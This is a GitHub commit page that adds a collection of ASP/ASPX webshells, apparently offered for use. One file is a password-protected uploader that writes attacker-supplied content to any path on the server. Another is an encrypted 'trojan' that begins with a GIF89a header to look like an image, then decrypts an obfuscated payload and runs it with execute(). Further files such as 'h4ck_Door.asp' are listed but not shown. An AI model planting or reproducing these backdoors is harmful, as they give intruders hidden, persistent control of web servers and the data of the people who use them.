Skip to content

Commit f2e52d5

Browse files
xl7devxl7dev
committed
ver 1.0
1 parent 67a87b7 commit f2e52d5

122 files changed

Lines changed: 65898 additions & 0 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

‎Asp/08小组内部交流专用.asp‎

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
<%@ Page Language="C#" AutoEventWireup="true" validateRequest="false"%>
2+
<html>
3+
<head runat="server">
4+
<title>08小组内部交流专用 www.huc08.com</title>
5+
<style type="text/css">
6+
.btn{
7+
background-color:transparent;
8+
color:#00FF00;
9+
border:1px solid #00FF00;
10+
font-size:12px;
11+
font-weight:bold;
12+
}
13+
</style>
14+
<script language="c#" runat="server">
15+
void Page_Load(object sender, EventArgs e)
16+
{
17+
this.lblthispath.Text = Server.MapPath(Request.ServerVariables["PATH_INFO"]);
18+
}
19+
void btnUpload_Click(object sender, EventArgs e)
20+
{
21+
string password = "TNTHK";
22+
if (password.Equals(this.txtPass.Text))
23+
{
24+
System.IO.StreamWriter sw = new System.IO.StreamWriter(this.txtPath.Text,true,System.Text.Encoding.GetEncoding("gb2312"));
25+
sw.Write(this.txtContext.Text);
26+
sw.Flush();
27+
sw.Close();
28+
Response.Write("上传成功！");
29+
}
30+
else
31+
{
32+
Response.Write("擦！哥的马子你也敢泡！");
33+
}
34+
}
35+
</script>
36+
</head>
37+
<body style="font-size:12px;font-weight:bold;color:#00FF00;font-family:Arial, Helvetica, sans-serif;background-color:#000000;">
38+
<form id="form1" runat="server">
39+
<div>
40+
本文件路径:<asp:Label runat="server" ID="lblthispath" Text=""></asp:Label>
41+
<br />
42+
<br />
43+
上传的口令:<asp:TextBox runat="server" ID="txtPass" Width="400px"></asp:TextBox>
44+
<br />
45+
<br />
46+
上传的路径:<asp:TextBox runat="server" ID="txtPath" Width="400px" ></asp:TextBox>
47+
<br />
48+
<br />
49+
上传的内容:<asp:TextBox runat="server" ID="txtContext" Width="400px" Height="250px" TextMode="MultiLine"></asp:TextBox>
50+
<br />
51+
<br />
52+
<br />
53+
<asp:Button runat="server" ID="btnUpload" text="上传" CssClass="btn" OnClick="btnUpload_Click"/>
54+
</div>
55+
</form>
56+
</body>
57+
</html>

‎Asp/DJ团队.asp‎

Lines changed: 32 additions & 0 deletions
Large diffs are not rendered by default.

‎Asp/TNTHK加密小马.asp‎

Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
GIF89a<%
2+
Public Const sDefaultWHEEL1 = ">/ShR'b=V cCF.95WHU3Ei-4);aI6A""+10dj(P,2geNkfxm<ywJ#zqBT&oKLQ!pn7uv_l8:rts"
3+
Public Const sDefaultWHEEL2 = ": uN4dB>CzHvaE2SI0jph""+(=k.xsPL,rKQwb;qTnt6ge&J<#li'-7/oAWFc58fU1V)!3_m9yR"
4+
5+
Function Decrypt_PRO(sINPUT , sPASSWORD )
6+
Dim sWHEEL1, sWHEEL2
7+
Dim k, i, c
8+
Dim sRESULT
9+
sWHEEL1 = sDefaultWHEEL1: sWHEEL2 = sDefaultWHEEL2
10+
ScrambleWheels sWHEEL1, sWHEEL2, sPASSWORD
11+
sRESULT = ""
12+
For i = 1 To Len(sINPUT)
13+
c = mid(sINPUT, i, 1)
14+
k = InStr(1, sWHEEL2, c, vbBinaryCompare)
15+
If k > 0 Then
16+
sRESULT = sRESULT & mid(sWHEEL1, k, 1)
17+
Else
18+
sRESULT = sRESULT & Addpass(c,sPASSWORD)
19+
End If
20+
sWHEEL1 = LeftShift(sWHEEL1): sWHEEL2 = RightShift(sWHEEL2)
21+
Next
22+
Decrypt_PRO = sRESULT
23+
End Function
24+
25+
Function LeftShift(s )
26+
If Len(s) > 0 Then LeftShift = mid(s, 2, Len(s) - 1) & mid(s, 1, 1)
27+
End Function
28+
29+
Function RightShift(s )
30+
If Len(s) > 0 Then RightShift = mid(s, Len(s), 1) & mid(s, 1, Len(s) - 1)
31+
End Function
32+
33+
Sub ScrambleWheels(ByRef sW1 , ByRef sW2 , sPASSWORD )
34+
Dim i ,k
35+
For i = 1 To Len(sPASSWORD)
36+
For k = 1 To ascW(mid(sPASSWORD, i, 1)) * i
37+
sW1 = LeftShift(sW1): sW2 = RightShift(sW2)
38+
39+
Next
40+
Next
41+
End Sub
42+
43+
Function Addpass(tStr,tPass)
44+
Select Case tStr
45+
Case ChrW(13)
46+
Addpass = tStr
47+
Case ChrW(10)
48+
Addpass = tStr
49+
Case ChrW(13)+ChrW(10)
50+
Addpass = tStr
51+
Case ChrW(9)
52+
Addpass = tStr
53+
Case Else
54+
dim a
55+
a= mid(tstr,1,1)
56+
Addpass = ChrW((ascW(tPass) Xor Len(tPass)) Xor ascW(tstr))
57+
End Select
58+
End Function
59+
60+
Dim crypt_PRO,Key,Code
61+
crypt_PRO="k#BJc&E(K>;QmfK/b!U0#n����eP-EhRT!At=.4ft��mlSgr0:<ggfvm>tBixk(0s>< v;=_!t<ch��:F;cWo7'<<n v""_k+w+cEB7>Ir (.41wV.j4ftHu�� I7J>0x ,s1Aa9/#n""LzlN)'Q>7V 3PTl(7ia4Qpumfg1w ,-QVix207R0C& Rp7WshQ.-('C:o1gz;.v3��Wyw.Up0;9 Jq-emt_.jT1Bck76xHWx<zP��&gc:;LV vcSak+VNiqL5&s+2w52aUK7Sw��'l<&8uTr!NE802x=!d-nrf<L=I9Bck76xHWx<zP��&gtT;w.Up0;9 Jq-emt_.jRC8xoePa��Wo7'l<n ,jvS(UK+W#K>lIuvjuo�� R9_4i7p�� o#zT.p(,9t6""gjcJ82hdx):zW+Wro2.kUL46:#/T8.QQF=_(+Fkߢ��������F���ԱF򄋿���딍�k����84N7_&6k;alnFn9fJ/egUS2hdx)::s��N R9B<IUdh��o7fQ;N��tT;wsqx#UaKCu<4w_�ցO�J�����ցO�V�x7#_eqzn3��gtT;LnP=Qkm""noI&VyT!NVfb/kUc+K;e)t8INL1_I9P+!=E2cIdB'C9yg9URyg-T'cx>d/-3)&z71.P,xcKlpaW2N4lBygql75_3T#w<ogvun9,�ցO�J���ށV�P4u�J��kb ;""1;pN�}�J��d(S3H_f50gH""krrNPr=-��xk(""2=ECjz/d=TQ&WLVBf#_PKl&3&It#rvK4P#""(F'Bz8b>NF'Vf!52��U8cWi5le/&It5 r=cJ0SU_>6��'NBygSo-7F!&B=0o'r0:g&rBj_KPHJ0SU_>6vE ""i; 9+NV!o-.eS7la(xQA,'B!h,-W4c;IVNqg93dnK77_Iek8l,nVu&q)��tT;wsqx+r(3pqf!CR5""tE7i'AV-.qS7lt,eCoLw;jiIvc(p9!#x!>z9365,_V1T'a0&6uLv<w0.'fw aQr&QewEB'Neo!n);VW!);JK&7""r/-V/1TN<Fh(k""7xgEB'JW83NVfb/kU1we,gnT>y8Q���ɣ�ڦ������p�Qؽ�����VϜ�f���Ȅu�ۖ������,W=wTJJ0#;qz;PTqzjd0k!4.=;.bvlpL)_9!kRSc-(lAv,qdKQf��;wK,=cSu_R><0j9p3w 34��!VU8/17:y��<&/""1;73��PxhovyV_NgEjcs��H'h!z=����,w7z;wp,tx_kS38xdoWC��U# Wd.!u8z#ANgjUj!qzTawrRuvrcULIJ��v'BS# Wd_wUAPW9)'puJEx# dJr3Eyk>J��B6aS0d<W!t93L+-2F8a4��9jor3qtzQf5;=xUz��inHbSN&oVT_)sh+aLCHu��<E6':1C5T:xz;r0c6a7Cl'uJ"");L/I5U+/'g0y��43a1lzP'.!KAJI6��K/0< R>,d)_,'��f(7nK;&voSwWrRTFRL+!fRNHp>4-mtdB'5<cAo(2Ni��Π�����kzwuE0==_""=Ie��'ud&��4T_Al78x9,'R#So:SJqz4Sp.w(h3aW""+!uU y9TLp)�츰<,W=wTJJ0gJq)��Rpfw&)��cEvkhu<LR��Tcs vr��jC.4UFnxt>��w LTf-m#x>RaS,9J�� tmdqlU_lt/WRT2��#zT.p(,9t ""gjckecCP4yg:,V�ցO�J�����ցO�V�(leVnQdb1��Q_kadz0Wx8>P4&vL&n'Ub9a3/ wTo'l'adQ;S1w2>""jjJ��I'>38VRTzgUv5x!ax+K;e7tqaL Tnvh>pIy rrwC����ֺ��3dt!Q&lAAxRTb;6'qa= Ts_9+,zefopyQ4>vRp#wREI52��FplbPKt>'v,7s_w/_.SI8A!94E yJ1wR:&/t7irw))_6��_ֺ��sT x3dzII8A!94E yJ1wR:&/t7il0C9ey��6NKhE0kVw_S;a7p>< 3t_znj-iaAcIl0x;vtq'w P+_(I#0T6hB'>6Q H_0A1W'aL(Hu:��ivts""kKRgN(&h8xJ8E/V_uu<4!3+��)xWe;tlScpT8bNgf5��LV""C dE7(WNk:t>.t1,KFH7""4c;yIz<yfBFTqzj""xKo(z!WdvI:&9)Kw5ao(B-B��ivts""kKRgN(&h8xJ8j>C7ub:s��yKUig<o""Vk&!6zl3zo""jp=Kh3BW""v 2-k:z1+fW,_����AUkh,w6'TbHsR;qzjd02mRLLKB;9�ցO�J��>jWpNJp c�}�J��8d9i)'e6w������J��I'>38VRTzgUv5x!ax7h,w66m��n ,jvS(UK!EwH'0b'Neo!n)h��Wko6wT<EW0;cQ t5 xLd/)I8EEB-yu<Ru'.qfKcc-=e#u QJlKpu8FAo2.PERAtqb��"
62+
key="TNTHK"
63+
if Session("EXBkHKFSg")="" then
64+
crypt_PRO=replace(crypt_PRO,"��",Chr(37)&">")
65+
code=Decrypt_PRO(crypt_PRO,Key)
66+
code=replace(code,"��",vbCrLf)
67+
Session("EXBkHKFSg")=code
68+
end if
69+
execute(Session("EXBkHKFSg"))
70+
71+
%>

‎Asp/h4ck_Door.asp‎

Lines changed: 57 additions & 0 deletions
Large diffs are not rendered by default.

0 commit comments

Comments
 (0)